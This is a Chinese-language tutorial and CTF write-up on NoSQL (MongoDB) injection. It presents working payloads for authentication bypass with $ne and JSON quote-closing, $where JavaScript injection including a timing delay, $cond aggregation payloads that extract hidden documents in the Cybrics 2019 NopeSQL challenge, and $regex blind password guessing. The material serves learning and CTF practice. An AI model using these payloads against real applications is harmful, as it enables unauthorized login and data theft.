NoSQL注入学习

NoSQL简介

non-relational Not Only SQL

维基百科上对NoSQL的介绍:

NoSQL是对不同于传统的关系数据库的数据库管理系统的统称。

两者存在许多显著的不同点,其中最重要的是NoSQL不使用SQL作为查询语言。其数据存储可以不需要固定的表格模式,也经常会避免使用SQL的JOIN操作,一般有水平可扩展性的特征。

NoSQL是数据存储的一个流行趋势;它泛指依赖于不同存储机制的非关系型数据库,这些存储机制包括文档存储、键值对存储和图

NoSQL数据库的四大分类:

  1. 键值(Key-Value)存储数据库
  2. 列存储数据库
  3. 文档型数据库
  4. 图形(Graph)数据库

NoSQL注入

NoSQL 相关的 SQL 攻击主要机制可以大致分为以下五类:

  1. 重言式(永真式)
  2. 联合查询
  3. JavaScript 注入
  4. 背负式查询
  5. 跨域违规

测试代码源码来自 https://github.com/youngyangyang04/NoSQLInjectionAttackDemo

重言式注入

也就是通过注入代码,让生成的表达式结果永远为真,从而绕过认证

输入username[$ne]=1&password[$ne]=1

PHP把该输入解析为array("username"=>array("$[ne]"=>1), "password"=>array("$ne"=>1));,

然后编码为MongoDB查询
db.logins.find({username:{$ne:1},password{$ne:1})

$ne代表不相等,因此,这次查询将返回登录集合中的所有用户

联合查询注入

通过参数来改变查询的数据集来绕认证

1
2
3
4
string query = "{ username:'username',password:'password'}"

payload:
username=tolkien', $or: [ {}, { 'a':'a&password=' } ]

JavaScript 注入

在MongoDB中$where操作符可以执行JavaScript语句

1
username=1&password=1;return true;
1
username=1&password=1;(function(){var date = new Date(); do{curDate = new Date();}while(curDate-date<5000); return Math.max();})();

Cybrics CTF 2019 NopeSQL

前几天的一个CTF的题目NopeSQL考察的就是NoSQL注入

首先发现.git泄露,githack得到index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
require_once __DIR__ . "/vendor/autoload.php";

function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}

$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}

if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}

?>

<?php if ($user == true): ?>

Welcome!
<div>
Group most common news by
<a href="?filter=$category">category</a> |
<a href="?filter=$public">publicity</a><br>
</div>

<?php
$filter = $_GET['filter'];

$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;

$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];

$filters = [
['$project' => ['category' => $filter]]
];

$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>

<?php if (isset($filter)): ?>

<?php
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);
}
?>

<?php endif; ?>

<?php else: ?>

<?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
Invalid username or password
<?php endif; ?>

<form action='/' method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit">
</form>

<h2>News</h2>
<?php
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$cursor = $collection->find(['public' => 1]);
foreach ($cursor as $news) {
printf("%s<br>", $news['title']);
}
?>
<?php endif; ?>

第一步是利用注入登录

这里直接使用{"$ne":null}发现500,使用{'$ne':null}也不对,在本地测试

1
2
3
4
5
6
7
8
9
10
代码:
var_dump(json_decode($raw_query));

输出:
object(stdClass)#1 (2) {
["username"]=>
string(12) "{'$ne':null}"
["password"]=>
string(12) "{'$ne':null}"
}

发现{'$ne':null}被解析成了string而不是array,原因是$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}'; 其中输入被双引号包裹

正确的payload:

1
username=1&password=","password":{"$ne":null},"username":"admin

此时的raw_query

1
{"username": "1", "password": "","password":{"$ne":null},"username":"admin"}

再去var_dump(json_decode($raw_query));,发现成功解析payload

1
2
3
4
5
6
7
8
9
object(stdClass)#1 (2) {
["username"]=>
string(5) "admin"
["password"]=>
object(stdClass)#2 (1) {
["$ne"]=>
NULL
}
}

这里这么写payload是为了闭合双引号,虽然usernamepassword重复了,但json_decode时变量只会是最后一次的赋值

登录之后

Snipaste_2019-07-27_16-35-45.png

filter参数里可以填 category展示目录 text展示内容 title展示标题,但是都限制了5条

代码里是用的MongoDB聚合函数aggregate
https://www.runoob.com/mongodb/mongodb-aggregate.html

flag应该在剩下的未展示出来的文章里

payload1:

1
?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
["category"]=>
array(1) {
["$cond"]=>
array(3) {
["if"]=>
array(1) {
["$eq"]=>
array(2) {
[0]=>
array(1) {
["$strLenBytes"]=>
string(6) "$title"
}
[1]=>
array(1) {
["$toInt"]=>
string(2) "19"
}
}
}
["then"]=>
string(5) "$text"
["else"]=>
string(2) "12"
}
}

payload1的意思就是当title的长度为19时,filter赋值为$text,也就是展示文章内容,通过枚举title的长度,就可以把每一篇文章的内容都读出来

payload2:

1
2
3
?filter[$cond][if][$and][0][$eq][]=$category&filter[$cond][if][$and][0][$eq][]=flags&filter[$cond][then]=$title&filter[$cond][else]=a

?filter[$cond][if][$and][0][$eq][]=$title&filter[$cond][then]=$text&filter[$cond][else]=11111&filter[$cond][if][$and][0][$eq][]=This is a flag text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
["category"]=>
array(1) {
["$cond"]=>
array(3) {
["if"]=>
array(1) {
["$and"]=>
array(1) {
[0]=>
array(1) {
["$eq"]=>
array(2) {
[0]=>
string(9) "$category"
[1]=>
string(5) "flags"
}
}
}
}
["then"]=>
string(6) "$title"
["else"]=>
string(1) "a"
}
}

payload2是先找出目录为flags的文章的标题,然后去找对应该标题的文章的内容

后来发现直接读内容也是可以的

1
?filter[$cond][if][$and][0][$eq][]=$category&filter[$cond][if][$and][0][$eq][]=flags&filter[$cond][then]=$text&filter[$cond][else]=a

Snipaste_2019-07-27_17-16-30.png

SWPUCTF injection ???

Nosql注入

尝试

1
check.php?username[$ne]=a&password[$ne]=a&vertify=a

返回Nice!But it is not the real passwd

通过mongodb的条件操作符$regex来用正则匹配盲注逐字猜解得到正确密码,payload:

1
check.php?username[$ne]=a&password[$regex]=^abc&vertify=a

NoSQLMap

https://github.com/codingo/NoSQLMap